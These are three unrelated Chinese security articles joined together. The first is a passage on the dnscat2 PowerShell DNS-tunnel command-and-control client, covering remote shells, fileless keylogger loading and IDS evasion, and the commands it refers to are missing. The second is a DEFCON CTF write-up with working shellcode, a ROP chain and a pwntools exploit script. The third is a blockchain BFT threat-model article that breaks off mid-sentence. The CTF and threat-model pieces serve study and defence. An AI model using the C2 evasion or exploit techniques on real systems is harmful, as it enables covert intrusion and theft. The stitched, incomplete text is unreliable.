“Start-Dnscat2”是dnscat2-Powershell中主函数的名称，它的功能是与服务器建立一个命令会话。
在服务器一端的控制台，你可以远程直接在客户机上执行不同的命令。如下面视频所示：
如果你不想使用命令会话，你也可以使用“Start-Dnscat2”的一些参数，如“-Eexec”，“-ExecPS”，“-Console”。
**Powershell特性**
我给dnscat2-Powershell脚本添加了一些额外的、和Powershell相关的功能。例如，你可以通过下面的命令，开启一个远程交互式的Powershell会话：
你也可以通过给“Start-Dnscat2”传递“-ExecPS”参数，直接开启这个功能。此时，客户端将接收来自服务器端的输入，然后将这个输入数据传递给Invoke-Expression，并返回Invoke-Expression的输出结果。在整个客户端的生命期内，该变量都会保存着。这个功能让攻击者使用一些Powershell工具成为了可能，如PowerSploit。
此外，通过DNS，使用下面的命令，也可以将Powershell脚本直接加载到客户端的内存中，文件无需存盘：
如上图，该脚本文件的16进制编码将会被存储在$var变量中。然后，这个变量中的16进制数据可以被转换为一个字符串，并以Powershell函数的形式加载。类似地，需要加载下面的命令：
上面的命令会将存储在$var变量中的数组写到/tmp/var文件中。在写这篇文章时，这两个功能都是新加入的，目前还存在一些稳定性问题，对于较小的脚本可能会更稳定一些。
在下面的视频中，我开启了一个远程PowerShell会话，并展示了如何通过DNS加载其它PowerShell脚本。我们的示例是PowerSploit中的Get-Keystrokes脚本。
**加密**
默认情况下，所有的通信都是加密的。不过可以通过给“Start-Dnscat2”传递“-NoEncryption”参数关闭它，同时，在开启服务端时需要添加“-e
open”命令。在不使用通信加密时，所有dnscat2数据包会采用简单的16进制编码，对于那些了解dnscat2协议的人，可能会很容易的恢复出通信数据。通过预共享密钥的认证方法，可以有效阻止中间人攻击。
**隧道**
dnscat2支持隧道功能，类似于SSH的本地端口转发。dnscat2服务器端开启一个本地监听，然后所有发到这个端口的数据都会经过DNS隧道，到达dnscat2客户端，最后再转发到另一个主机的一个端口上。例如，一个dnscat2客户端所在的内部网络中，有一个SSH服务器，当攻击者需要连接该SSH服务器时，就可能考虑使用该方法。如下面视频所示：
**躲避探测**
探测DNS隧道的方法有很多。如检查出站DNS查询的长度、监控来自特殊主机的DNS查询频率、检查是否包含那些不常用的查询类型等等。
通过使用“Start-Dnscat2”的“-Delay”和“-MaxRandomDelay”参数，在客户端发送数据包时，设置一个固定的或随机的延时，可有效躲避一些探测。同时，在正常通信时，该延时长短还可以通过“delay
<milliseconds>”命令进行修改。
这有助于防止某些系统使用基于频率的分析探测方法。同时，对DNS查询请求设置一个数据传输的最大长度，这对DNS隧道本身是有好处的。如果你想更隐蔽，你可以通过“-MaxPacketSize”参数将最大请求长度设置短一些。
很多DNS隧道使用了TXT、CNAME、或MX查询类型，这是由于处理这些查询的响应过程相对简单，及它们具有比较长的响应数据长度。但是这些不是最常见的查询类型，因此，当这些查询很频繁时，一些IDS可能会发起报警。A和AAAA查询是最常见的，因此，使用这两类查询通常能逃避IDS检测。“Start-Dnscat2”的“-LookupTypes ”参数可用于向客户端传递一个有效的查询类型列表，客户端将从这个列表中随机选择一种类型，并以这种类型发送数据。
下在的视频显示的是这三个选项的组合，及选项的修改对数据传输速度的影响：
**结论**
使用DNS建立数据传输隧道具有一些实际的好处。最大的好处是，它可以在出站流量限制很严的情况下给攻击者提供一个SHELL控制环境，不过，它的缺点就是数据传输速度可能会比较慢。现在，我们有了PowerShell版的dnscat2客户端，渗透测试人员可以容易的使用基于DNS的C2服务，及熟悉的PowerShell工具。 | 社区文章 |
**作者：Hcamael@知道创宇404实验室
时间：2021年8月10日 **
今年有幸和Nu1L的队友一起打进的DEFCON决赛，其中的一道KOH类型的题目（shoow-your-shell）挺有意思的，学到了很多骚操作，所以打算写一篇总结。
`shooow-your-shell`这题是最后一天放出来的KOH类型的题目，比哪队写的`shellcode`使用的字符少，长度短，就能成为`king`，然后在900s内没队伍超过你，那么会根据当时的排名来给本轮的分数。第一名10分，第二名6分，第三名3分，第四名2分，第五名1分，之后的队伍不得分。
本题给了题目的`Dockerfile`文件，方便选手本地复现测试，ooo之后估计也会公布本题源码，我也把源码push到我的Github上了。
## 题目分析
首先，来分析一下代码，9090端口绑定的是`wrapper`服务，该服务启动了`server.py`，本题的主要代码都在该文件中。
1.首先检查本次的king是否为连接进来的队伍，如果是，则退出。目的为不让一个队伍在成功成为king后，连续提交shellcode。
2.以十六进制格式输入shellcode。
3.检查黑名单字节，首轮默认黑名单为0x90，其后每轮初始的黑名单为上一个king使用的shellcode中随机一个字节。
4.检查是否是第一个提交，如果是第一个提交则不需要后续检查了。
5.如果不是第一个提交，则要求当前king使用的字符你没有全都使用（这里不知道是不是出题人写了bug，按我理解，应该是shellcode的字符种类要比当前的king少，而现在这种规则，新提交的shellcode字符种类可以比当前king的多，只要少使用一个当前king使用的字符），或者字符长度比当前的king短。
6.创建一个缓存目录，把三个架构的runner，三个架构的qemu，shuffl复制一份到这个目录下，生成一串随机数，写到这个目录下，然后依次执行三个架构，命令为：
p = subprocess.Popen([
os.path.join(
tmpdir, os.path.basename(SHUFFL_PATH)), "5",
f"./qemu-{arch}-static", f"./runner-{arch}"
], cwd=tmpdir, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=1)
7.如果该命令执行的结果为之前生成的随机数，则表示shellcode执行成功，你将成为新的king。
8.会把每轮的king写入history文件中。
`server.py`脚本的主要逻辑就如上所示，在上述的流程中，随机生成字符串，写入到文件中，然后要求shellcode输出相同的字符，说明需要我们写一个读文件，然后输出文件内容的shellcode。
接下来还需要去逆向`shuffl`程序，该程序的第一个参数为程序的超时时间，在python脚本里设置的值为5，表示shellcode要在5秒内执行完成，要不然会强行中断。然后使用chroot切换到缓存目录，并且使用setuid设置一个随机用户，然后执行qemu。这么做的目的就是为了做权限的限制，只允许写读文件的shellcode，能执行的程序只有当前目录下的三个qemu和三个runner，并且都没有文件的修改权限。
之后又去逆向了`runner`程序，发现是静态编译，不依赖libc，也不存在`system`之类的函数，大概也是出题人为了防止出现读文件之外的shellcode出现而做的限制。
默认情况下，第一个提交的队伍的字节黑名单只有1个，这种情况下是非常容易写shellcode的，但是在你前面存在king时，你超过了他之后，黑名单将会添加上一个king使用了而现在的king没使用的字符。这时可以有一种策略，在你的shellcode之后padding上所有黑名单不存并且你的shellcode中不存在的字符。这样当下一个king超过你之后，除了他使用的字符，其他字符都会被加入黑名单，这会把比赛变为单纯的比shellcode长度的比赛，当这个king的shellcode长度没法优化的情况下，你起码可以获得第二名的成绩。
比赛结束后，交流的过程中得知该程序还存在条件竞争。根据`wrapper`可知，`service.py`文件的超时时间为30s。首先我们用线程A连接进该服务，这个时候已经打开了当前的history，然后暂时不进行任何操作，然后再用线程B连接进该服务，查看是否有新的king产生，如果有，则复制其shellcode，在线程A中输入。那么在线程A中，将会成为新的king，然后覆盖当前的history。
出现该条件竞争的原因跟该题的架构有点关系，一共有16个队伍，每个队伍单独一台服务器，每个队伍都是在自己的队伍上提交shellcode，然后记录king的文件`history`存放在服务器本地，也就是说有16个`history`文件，所以需要主办方在后台提供同步的服务，我猜测主办方的做法是，监控16个服务器上的history，当该文件发现改变，那么将同步到其他服务器上。因为在访问服务器的最开始就打开读取了`history`文件，并且中间有30秒的超时时间，这个时间差就导致了竞争的漏洞。
不过这个漏洞只能让你顶替他人的king，没办法在其他队都无计可施的时候超过当前的king。
## shellcode分析
接下来把目光放到shellcode上，下面将对各类的shellcode进行讲解分析：
### 基本的shellcode
最普通的shellcode：
mov rax,0x746572636573
push rax
push rsp
pop rdi
push 2
pop rax
syscall
push 40
pop rax
push 1
pop rdi
push 3
pop rsi
xor rdx,rdx
syscall
这种shellcode没啥好说的。
### 10字符的shellcode
我们队伍的大佬写了一个能优化到10个字符种类的shellcode：
def encode(inner_s):
s = '''
mov al, 1
'''
# mov ah, 8
# add rdx, rax # mov al, 1; add rdx, 0x800
# inner_s = 'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$j\x02XH\x89\xe71\xf6\x99\x0f\x05A\xba\xff\xff\xff\x7fH\x89\xc6j(Xj\x01_\x99\x0f\x05'
for i, c in enumerate(bits(bitswap('\xd0\x90' + inner_s))):
if i != 0 and i % 8 == 0:
s += 'inc rdx'
if c:
s += '''
add byte ptr [rdx+0xfc0], al
rol al, 1
'''
else:
s += '''
rol al, 1
'''
payload = asm(s).ljust(0xfc0, '\xD0')
# payload = payload.ljust(0x1000, '\x00')
return payload
原理就是在不计较shellcode长度的情况下，能把任意字符写到某个内存里去，通过调试可以发现，`runner`程序执行`shellcode`时，`rdx`的值为`shellcode`内存的地址，所以通过上面的指令，可以把其他shellcode指令替换掉当前内存的shellcode，从而执行其他指令。
### 3种字符shellcode
我们根据上述逻辑把字符种类优化到了9字节（但我没记录），本以为已经优化的很牛逼了，但无奈对手十分强大，出现了只使用3个种类字符的shellcode：
TD战队的shellcode只使用了`15 50 c2`三个字符。
来反汇编看看：
0: 15 15 15 15 50 adc eax, 0x50151515
5: 15 50 50 15 50 adc eax, 0x50155050
a: 15 50 50 15 50 adc eax, 0x50155050
f: 15 50 50 15 50 adc eax, 0x50155050
14: 15 50 50 15 50 adc eax, 0x50155050
19: 15 50 50 15 50 adc eax, 0x50155050
1e: 15 50 50 15 c2 adc eax, 0xc2155050
23: 15 50 50 15 c2 adc eax, 0xc2155050
28: 15 50 50 c2 c2 adc eax, 0xc2c25050
2d: 15 50 50 c2 c2 adc eax, 0xc2c25050
32: 15 50 50 c2 c2 adc eax, 0xc2c25050
37: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
3c: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
41: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
46: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
4b: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
50: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
55: 15 50 c2 c2 c2 adc eax, 0xc2c2c250
5a: 50 push eax
......
61d: 15 c2 50 50 c2 adc eax, 0xc25050c2
622: 50 push eax
623: c2 ret
反汇编后就好理解了，不得不说这个思路非常牛逼。利用`adc/push/ret`三个指令进行ROP调用。再进行一下解码操作，可以发现，实际上的`shellcode`如下所示：
0x490972; mov rsi, [rbx]; call rax
0x4c2806
0x446f3a; pop rbx; ret
0x47a850; _dl_dprintf
0x47e50a; pop eax; ret
0x1
0x413aeb; pop edi; ret
0x4191c8; mov [rdx], rax; ret
0x4c2806
0x40171f; pop rdx; ret
0x47a650; dl_sysdep_read_whole_file
0x433ae4; mov [rdi], rdx; ret
0x4c2806;
0x40ffb0; pop edi; ret
0x72636573; secr
0x40171F; pop rdx; ret
0x436613; mov [rdi], rdx; ret
0x4c280a
0x415f56; pop edi; ret
0x7465 ; et\x00
0x40171F; pop rdx; ret
ret
`ret`指令必须要有一个字符`c20000`，因为shellcode的内存区域默认值就是`00`，所以可以省略`00`字符，`adc
eax`占一个字符`15`，`push eax`占一个字符`50`，所以这是这种套路必须要用的三种字符。这三种字符可以组成81种数字：
val = ["15", "50", "c2"]
oi = itertools.product(val, repeat=4)
然后根据ROP的值，使用这81个数字匹配出某种组合，该shellcode的难点就在这了，如何计算这种组合。我目前的思路就是随机出几种组合，使用z3进行计算，如果在一定时间内没计算出，则终止，换一套组合进行计算。
三种字符的shellcode当然不止这一种，如果只有这一种，那么当下回合这三种字符随意一种字符被加入黑名单时，该shellcode讲无用武之地。我们应该理解其原理，活学活用。
比如`ret`原本是`c3`，所以可以把`c2`替换成`c3`，还有`cb(retf)`，`ca0000(retf 0x0)`等等。
`adc`可以换成`add`或者其他，`eax`可以换成`ebx`或者其他，比如：
### 长度为3字节的shellcode
从上面图中可以发现TD战队和Katzebin战队就已经在比拼算法的优化能力了，除此之外，前三名的shellcode，不说其字符种类，其长度就只有3字节。3字节的shellcode就能读文件？比赛的时候第一次看到这三字节的shellcode时，我整个人都惊呆了?，甚至怀疑这些队伍是不是使用了什么0day修改了history文件，把自己的shellcode随意改了几个字节。
赛后复盘的时候才得知，这是`riscv64`的shellcode，作用是执行`read(2, buf, length)`系统调用，从标准错误中读取数据。
为什么能从错误输出中读取数据呢？首先来看看执行该代码的指令：
p = subprocess.Popen([
os.path.join(
tmpdir, os.path.basename(SHUFFL_PATH)), "5",
f"./qemu-{arch}-static", f"./runner-{arch}"
], cwd=tmpdir, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=1)
标准错误(2)被重定向到标准输出(1)，而该python文件的标准输入和输出都是socket文件描述符，所以在shellcode中从标准错误读数据也就是从socket文件描述符。
反汇编一下这三个字节的shellcode：
print(disasm(unhex("69897300000000"), arch="riscv", bits=64))
0: 8969 andi a0, a0, 26
2: 00000073 ecall
通过调试可知在`runner-riscv64`中：
0x105ce <main+414> jal ra, 0x10cac <__assert_fail>
0x105d2 <main+418> lui a2, 0x1
0x105d4 <main+420> ld a1, -1056(s0)
→ 0x105da <main+426> jal ra, 0x2094e <read>
0x105de <main+430> ld a5, -1056(s0)
0x105e2 <main+434> jalr a5
0x105e4 <main+436> li a5, 0
0x105e6 <main+438> mv a3, a5
0x105e8 <main+440> auipc a5, 0x60
执行完read标准输入后，就跳转到shellcode地址，在执行`jalr a5`指令时，寄存器上下文：
$zero: 0x0000000000000000 → 0x0000000000000000
$ra : 0x00000000000105de → 0x47819782be043783 → 0x47819782be043783
$sp : 0x00000040007ffbb0 → 0x0000000000000000 → 0x0000000000000000
$gp : 0x0000000000071030 → 0x0000000000000000 → 0x0000000000000000
$tp : 0x0000000000072710 → 0x0000000000070678 → 0x0000000000051a68 → 0x00000000000709b0 → 0x0000000000000043 → 0x0000000000000043
$t0 : 0x0000000000072000 → 0x0000000000000000 → 0x0000000000000000
$t1 : 0x2f2f2f2f2f2f2f2f → 0x2f2f2f2f2f2f2f2f
$t2 : 0x0000000000072000 → 0x0000000000000000 → 0x0000000000000000
$fp : 0x00000040007ffff0 → 0x0000000000000000 → 0x0000000000000000
$s1 : 0x0000000000010b6a → 0x0006f7b7e8221101 → 0x0006f7b7e8221101
$a0 : 0x0000000000000004 → 0x0000000000000004
$a1 : 0x0000004000801000 → 0x000000000a333231 → 0x000000000a333231
$a2 : 0x0000000000001000 → 0x0000000000001000
$a3 : 0x0000000000000022 → 0x0000000000000022
$a4 : 0x0000004000801000 → 0x000000000a333231 → 0x000000000a333231
$a5 : 0x0000004000801000 → 0x000000000a333231 → 0x000000000a333231
$a6 : 0x0000000000000000 → 0x0000000000000000
$a7 : 0x000000000000003f → 0x000000000000003f
$s2 : 0x0000000000000000 → 0x0000000000000000
$s3 : 0x0000000000000000 → 0x0000000000000000
$s4 : 0x0000000000000000 → 0x0000000000000000
$s5 : 0x0000000000000000 → 0x0000000000000000
$s6 : 0x0000000000000000 → 0x0000000000000000
$s7 : 0x0000000000000000 → 0x0000000000000000
$s8 : 0x0000000000000000 → 0x0000000000000000
$s9 : 0x0000000000000000 → 0x0000000000000000
$s10 : 0x0000000000000000 → 0x0000000000000000
$s11 : 0x0000000000000000 → 0x0000000000000000
$t3 : 0xffffffffffffffff
$t4 : 0x000000000006ead0 → 0x0000000000070678 → 0x0000000000051a68 → 0x00000000000709b0 → 0x0000000000000043 → 0x0000000000000043
$t5 : 0x0000000000000000 → 0x0000000000000000
$t6 : 0x0000000000072000 → 0x0000000000000000 → 0x0000000000000000
其中，`$a0 = 4`，为`read`函数的返回值，表示标准输入的长度，`$a0`的值等于`$a5`，指向了存放shellcode的内存，`$a2 =
0x1000`，表示读取的长度，`$a7`等于0x37，对于`riscv64`价格，`$a7 =
0x37`，然后调用`ecall`指令，表示执行`read`系统调用。
所以上面那3字节的shellcode做的事就是，`$a & 0x1a`，因为输入的长度为3，所以是`3 & 0x1a =
2`，然后调用`ecall`，执行的就是`read(2, 0x0000004000801000,
0x1000)`。实际的shellcode就能通过第二次输入到内存中。
3字节的shellcode还不是最短的，还能继续优化，只需要修改`$a0=2`，那么只需要输入2字节的shellcode就能让`$a0`的值等于2，所以最短的shellcode为`7300`
下面放一个使用2字节的shellcode脚本：
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
from pwn import *
import time
context.log_level = "debug"
p = remote("10.11.34.96", 9090)
# p = remote("192.168.11.4", 9090)
shellcode1 = b"7300"
# shellcode1 = b"000000ca00080091210000d4" # aarch64
shellcode2 = """
li s1, 0x746572636573
sd s1, 0(sp)
mv a1, sp
li a7, 56
li a0, -100
ecall
li a7, 71
mv a1, a0
li a0, 1
li a2, 0
li a3, 100
ecall
"""
shellcode2 = asm(shellcode2, arch="riscv", bits=64)
shellcode2 = b"s\x00\x00\x00" + shellcode2
p.readuntil(b"shellcode:")
p.sendline(shellcode1)
pause()
p.send(shellcode2)
p.interactive()
结果如图所示：
最后放一个我设想中，两个队伍合作统治比赛的情况：
## 参考
1. <https://github.com/Hcamael/CTF_repo/tree/master/DEFCON%202021/shooow-your-shell/service>
* * * | 社区文章 |
**作者：灵巧@蚂蚁安全实验室**
**原文链接：<https://mp.weixin.qq.com/s/Jo76cid30J1P6qVo5NFECw>**
在头条的分享中，蚂蚁天宸安全实验室的灵巧博士为大家介绍了BFT协议在区块链的应用，并取了有代表性的应用案例进行分析。
现在我们进入区块链协议安全系列——下集，分析BFT协议的威胁模型以及BFT协议被攻破后，对区块链安全会有哪些影响。
# 01 拜占庭协议威胁模型
拜占庭协议已经被越来越多的链应用到共识协议中，共识协议的安全性直接决定了链的安全性。分析拜占庭协议的威胁模型有助于分析链的安全性。
## 1.1 拜占庭协议的安全假设
协议的全流程涵盖设计，实现，运行三个阶段。运行又涉及节点，网络，运营商多个角色。任何协议设计都离不开安全假设。我们以 PBFT
为例分析协议的安全假设，其他由 PBFT 衍生出来的协议变种在安全假设方面大同小异，我们不一一展开。
1.协议在设计时假设实现过程不受语言限制，但是不能存在编码方面的漏洞。
2.协议在设计时假设运行过程不受外界制约，处于理想状态，具体表现为：
○超过 2/3 节点的软硬件操作系统无漏洞，节点自身的安全性可靠
○超过 2/3 节点的网络链接正常，网络延迟在协议可接受的范围内
○超过 2/3 节点的实际操作者诚实可信，不作恶
○超过 2/3 节点的网络运营商诚实可信，不作恶
○超过 2/3 节点的硬件基础设施可靠，如网线，硬盘等不损坏
协议设计在以上 2 个大的前提下展开。最开始的 PBFT 协议并非为区块链而设计，而 PBFT
的安全假设又被默认继承到区块链中，这就会产生理想与现实的差距。我们分别分析这两种情况下的威胁模型。
## 1.2 理想世界的威胁模型
理想世界具体是指满足所有的安全假设的世界。在理想世界中，可以只考虑协议的设计存在的威胁。通常，协议设计者都是极为专业的研究人员，设计缺陷出现的可能性很小。目前为止，笔者了解到的小有瑕疵的设计是
PBFT 的优化设计。
### 1.2.1 PBFT 本身的优化方法
根据上文所述的 PBFT 的协议过程可知，PBFT 在每一个阶段都需要验证消息发送者的签名。使用公钥签名的方式验证消息存在如下不足：
●类似于RSA这样的签名算法，签名速度比较慢；
●其他公钥密码系统，如椭圆曲线公钥密码系统，虽然签名更快，但是验签更慢。
PBFT算法实际上在正常流程中采用 MAC(Message Authentication Code，消息验证码)
认证消息，因为它具有如下优点，使得算法相对于之前的算法性能提升了一个数量级以上：
●MAC 计算速度快；
●通过适当优化，可以减少其长度；
●通过对authenticator（vector of MAC）的使用，可以使验证时间为常量，而生成时间只随着节点数量线性增长。
具体来说，PBFT算法中使用 MAC 和公钥签名的具体场景是：
●所有正常操作流程中使用 MAC 验证消息；
●视图变更中的消息：view-change, new-view，以及出现错误时，使用公钥签名。
这些场景的出现频率相对较低，从而对算法的性能影响较小。
### 1.2.2 优化导致的威胁模型
那是否采用 MAC 只有优点，没有缺点呢？这一优化导致 PBFT 极不稳定，如果 primary 是恶意的，会导致系统不可用。具体来说如下：
首先，MAC 是对称的，需要两两共享密钥，为防止假冒，两两之间密钥不同。也就是 primary 和 2，3，4 等共享等密钥都不相同。那么，如果
primary 和 2 出现了冲突，其他人，如 3，4，无法确认谁对谁错。其次，如果 primary 是恶意的，primary 可以控制 MAC
数组的收发，他可以任意操纵 MAC 值，让 replica2 认为 replica3 提供的内容是错的，replica2 无法确认到底是 primary
还是 replica 3 是错的。那么 replica2 和 replica3
无法相互说服对方，系统就不可用了。上述攻击可以在不同的阶段实施。如，在preprepare阶段，primary可以篡改用户发送的 MAC数组，部分
replica 接受用户请求，部分不请求。在prepare阶段，primary可以让部分mac数组为错误，从而部分接受 primary 的
propose，部分不接受。
未优化之前使用证书给消息签名就不涉及这个问题。证书携带身份信息，且证书是节点所公认的。replica2
发现签名错误，通过两两通信，要么大家都认为这个签名是错的，要么最终收到一个正确签名， 那么可以保证所有 replica 都是一致认可、或一致不认可这个值。
在 PBFT 应用到区块链时，如果链不采用 MAC 优化，也就不会面临协议本身的脆弱性问题。
## 1.3 现实世界的威胁模型
理想很丰满 ，现实很骨感。通常，一些安全假设在现实世界中都会面临挑战。
### 1.3.1 协议实现过程存在漏洞
任何一个设计完美的系统在实现的过程中都不能保证 100%
正确，实现过程中会引入不同的漏洞。这类问题更多的是代码安全问题，代码安全问题属于另外一个课题，我们不在这里展开讨论，仅简单分析一下。
● 编码不当
编码不当有多种，使用的编程语言不同也会有不同的漏洞类型，比如 C/C++
存在缓冲区溢出，整数溢出，解引用空指针，指针重释放，内存分配失败，内存泄漏等问题。Go
语言使用垃圾收集器自动管理内存，无需显示释放内存，所以不涉及指针重释放问题，但是也有其自身的问题，如Goroutine产生内存泄漏。其他语言的问题就不再一一列举。拜占庭协议的实现各有不同，实现中可能存在编码不当的问题，建议找专业的团队做代码审计。
● 逻辑不当
逻辑不当是常见的安全问题的类别。拜占庭协议复杂，更容易出现逻辑不当的问题，且因为协议复杂，通常性能会低，难以满足线上业务的需求，所以优化协议的实现是一个现实的问题。在优化过程中，如果没有严密论证优化方法，则可能让协议失效，如
MAC 地址的优化。实现过程中是否忠实的遵守协议设计是需要考量的一个因素。
● 权限不当
权限不当是另一类常见的安全问题。通常，BFT
协议运行在共识节点上，共识节点和普通节点的权限不同，需要在关键环节做鉴权。协议本身也分主节点和副节点，必要的环节也需要区别身份。如果权限不当，会导致协议安全性受挫。
### 1.3.2 操作系统存在漏洞
主流的操作系统有 windows，Linux，macOS，每一种操作系统都存在系统漏洞。如果没有及时为操作系统打补丁，攻击者就有可乘之机。
### 1.3.3 网络不可用
利用节点所在的网络特点攻击，让节点失去有效连接，是更贴近区块链范畴的攻击方法。BFT
协议不能脱离于网络连接而存在，区块链网络有一些独有的特点。有多种方法都可以让节点的网络不可用。
#### 1.3.3.1 日蚀攻击
日蚀攻击（Eclipse Attack）是针对
P2P（或译为点对点）网络的一种攻击类型：攻击者通过使节点从整个网络上消失，从而完全控制特定节点对信息的访问。
P2P
网络的节点通常会维护一个路由表。日蚀攻击是指攻击者通过侵占节点的路由表，将足够多的虚假节点添加到某些节点的邻居节点集合中，从而将这些节点“隔离”于正常区块链网络之外。当节点受到日蚀攻击时，节点的大部分对外联系都会被恶意节点所控制，由此恶意节点得以进一步实施路由欺骗、存储污染、拒绝服务以及
ID 劫持等攻击行为。因此，日蚀攻击对区块链网络的威胁非常严重。
日蚀攻击和女巫攻击（Sybil attack）攻击（查看链接了解：https://www.binance.vision/zh/security/sybil-attacks-explained）密切相关，它需要较多的 Sybil 攻击节点相配合。为了实现对特定区块链节点群的日蚀攻击，攻击者必须首先设置足够多的
Sybil
攻击节点，并且向区块链网络宣称它们是“正常”的节点，然后使用这些Sybil节点与正常的区块链节点通信，入侵其路由表，最终把它们从区块链网络中隔离出去。在日蚀攻击中，攻击者不像在女巫攻击中那样攻击整个网络，而是专注于隔离和瞄准某个特定节点。这种攻击通常会导致受害者节点接收到被操纵的、伪造的区块链视图。
采用日蚀共识，可以让节点完全被攻击者控制，并且攻击者的代价很小。Heilman等人在2018年发表的论文显示，在以太坊网络上执行日蚀攻击只需要用到几台机器。日蚀攻击对区块链网络的影响十分重大。对于区块链网络来说，日蚀攻击破坏了网络的拓扑结构，减少了节点数目，使得区块链网络资源共享的效率大大降低，在极端情况下，它能完全控制整个区块链网络，把它分隔成若干个区块链网络区域。对于受害的区块链节点来说，它们在未知的情况下脱离了区块链网络，所有区块链网络请求消息都会被攻击者劫持，所以它们得到的回复信息大部分都是虚假的，无法进行正常通信。
#### 1.3.3.2 地址池污染攻击
地址池污染，是指诱使同类链的节点互相侵入和污染的一种攻击手法，主要原因是同类链系统在通信协议上没有对非同类节点做识别。
地址池污染攻击实际上是一个所有公链都可能面临的问题，我们用以太坊为例子说明。以太坊的 P2P 网络主要采用了 Kademlia (简称 Kad )
算法实现，Kad 是一种分布式哈希表( DHT )技术，使用该技术，可以实现在分布式环境下快速而又准确地路由、定位数据的问题。
以太坊地址池污染攻击是指，以太坊同类链（具体的说是使用以太坊 P2P discv4
节点发现协议的公链，包括以太坊、以太经典）由于使用了兼容的握手协议，无法区分节点是否属于同个链，导致地址池互相污染，节点通信性能下降，最终造成节点阻塞的一种攻击方式。
* 第一步：发起恶意握手。
攻击者 A 模拟整个握手过程，主动发起 ping 操作，并利用协议的第4步
neighbors，将返回的邻居表修改成我们收集到的以太坊节点地址，推送给受害节点 B（B 是一个以太坊同类链节点）。由于单次通信只能推送 16
个地址，我们需要多次推送以达到攻击效果。
* 第二步：污染地址池。
B 收到大量 A 返回的邻居表，尝试跟这些节点握手，并将这些节点加入了自己的地址池（俗称 K 桶）。
* 第三步：污染自动扩散。 让人意外的是，不同链的节点居然互相握手成功了，更为可怕的是，它们把各自地址池里已知的节点推送给了对方，导致更多的节点互相污染，最终扩散致整个网络。
* 威胁分析： 地址池污染攻击的同类链节点无法找到真正可用的节点，无法建立 TCP 数据同步通道，导致节点被攻击离线。对于矿池或者出块节点，地址池污染攻击可能导致广播延迟甚至失败，造成收益损失。地址池污染攻击可以使所有以太坊同类链地址池相互污染，导致节点通信效率全面下降，对整个区块链系统造成长久的伤害。
#### 1.3.3.3 区块链网络 DDoS
DDoS攻击是一种对区块链网络安全威胁最大的攻击技术之一，它指借助于C/S技术，将多个计算机联合起来作为攻击平台，对一个或多个目标发动攻击，从而成倍地提高拒绝服务攻击的威力。利用
DDoS 攻击共识节点，让节点沦陷也是一个常见方法。
传统的DDoS攻击分为两步：第一步利用病毒、木马、缓冲区溢出等攻击手段入侵大量主机，形成僵尸网络；第二部通过僵尸网络发起DoS攻击。常用的攻击工具包括：Trinoo、TFN、TFN2K、Stacheldraht
等。由于各种条件限制，攻击的第一步成为制约DDoS攻击规模和效果的关键。
根据攻击方式的不同，基于区块链的 DDoS
攻击可分为主动攻击和被动攻击两种。基于区块链的主动DDoS攻击是通过主动地向网络节点发送大量的虚假信息，使得针对这些信息的后续访问都指向受害者来达到攻击效果的，具有可控性较强、放大倍数高等特点。这种攻击利用区块链网络协议中基于“推（push）”的机制，反射节点在短时间内会接收到大量的通知信息，不易于分析和记录，并且可以通过假冒源地址避过IP检查，使得追踪定位攻击源更加困难。此外，主动攻击在区块链网络中引入额外流量，会降低区块链网络的查找和路由性能；虚假的索引信息，会影响文件下载速度。
基于区块链的被动，DDoS攻击通过修改区块链客户端或者服务器软件，被动地等待来自其它节点的查询请求，再通过返回虚假响应来达到攻击效果。通常情况下，会采取一些放大措施来增强攻击效果，如：部署多个攻击节点、在一个响应消息中多次包含目标主机、结合其它协议或者实现漏洞等。这种攻击利用了区块链网络协议中基于“取（pull）”的机制。被动攻击属于非侵扰式，对区块链网络流量影响不大，通常只能利用到局部的区块链节点。
### 1.3.4 社会工程学攻击
Gartner集团信息安全与风险研究主任Rich
Mogull认为：“社会工程学是未来10年最大的安全风险，许多破坏力最大的行为是由于社会工程学而不是黑客或破坏行为造成的。”一些信息安全专家预言，社会工程学将会是未来信息系统入侵与反入侵的重要对抗领域。
社会工程通常被视为网络威胁，但这一概念已存在很长时间，该术语也可能与现实世界的欺诈行为有关，通常涉及冒充审计者或IT专家。然而，互联网的出现使黑客可以更为轻松地在更广泛的范围内进行操纵攻击，不幸的是这些恶意活动也发生在区块链领域。
● 它是如何工作的？
所有类型的社会工程学都依赖于人类心理学上的弱点。诈骗者利用情绪来操纵和欺骗受害者。他们利用的是人们的恐惧、贪婪、好奇心，甚至他们帮助他人的意愿等。在多种恶意社会工程行为中，网络钓鱼是最常见也是众所周知的案例之一。
● 网络钓鱼
网络钓鱼电子邮件通常模仿来自合法公司的邮件，某些情况下，这些诈骗电子邮件会警告用户帐户需要更新或发生了异常活动，要求他们提供个人信息以确认其身份并管理其帐户。出于恐惧，有用户会立即点击链接并导航到虚假网站，为不法分子提供其所需数据。此时，这些信息将会掌握在黑客手中。
● 威胁软件
社会工程技术也被用于传播所谓的Scareware。顾名思义，威胁软件是一种旨在恐吓和威胁用户的恶意软件。它们通常涉及创建虚假警报，试图欺骗受害者安装看似合法的欺诈性软件或诱骗用户访问相关网站，以达到感染其系统的目的。这种技术通常依赖于用户担心他们的系统受到损害的心理，说服他们点击网页横幅或弹出窗口。这些消息通常会说：“您的系统已被感染，请点击此处进行清理。”
● 诱骗
诱骗是另一种给许多大意用户带来麻烦的社会工程行为。一般利用用户的贪婪或好奇心来引诱受害者。例如，诈骗者可以创建一个提供免费内容的网站，也可能故意将受感染病毒的设备留在公共场所，引诱好奇者把它下载到电脑上查看内容，最终感染目标计算机。
● 合谋
节点之间如果存在利益上的趋同，那么节点之间可能合谋使自己的利益最大化。在区块链共识协议中，当节点被利益驱使，有大于 f
个节点进行合谋，就能引导网络选择对合谋节点有利的结果达成共识。如在跨境汇款的场景中，节点来自不同的国家，如果来自同一个国家的节点之间合谋，那么可以发起双花攻击。
如果攻击者采用社会工程学的方式得到节点的管理权限，一样可以达到控制的恶意节点的数量大于 f 的目的。
### 1.3.5 运营商欺诈
运营商是指提供网络服务的供应商。运营商提供最最基础的网络服务，
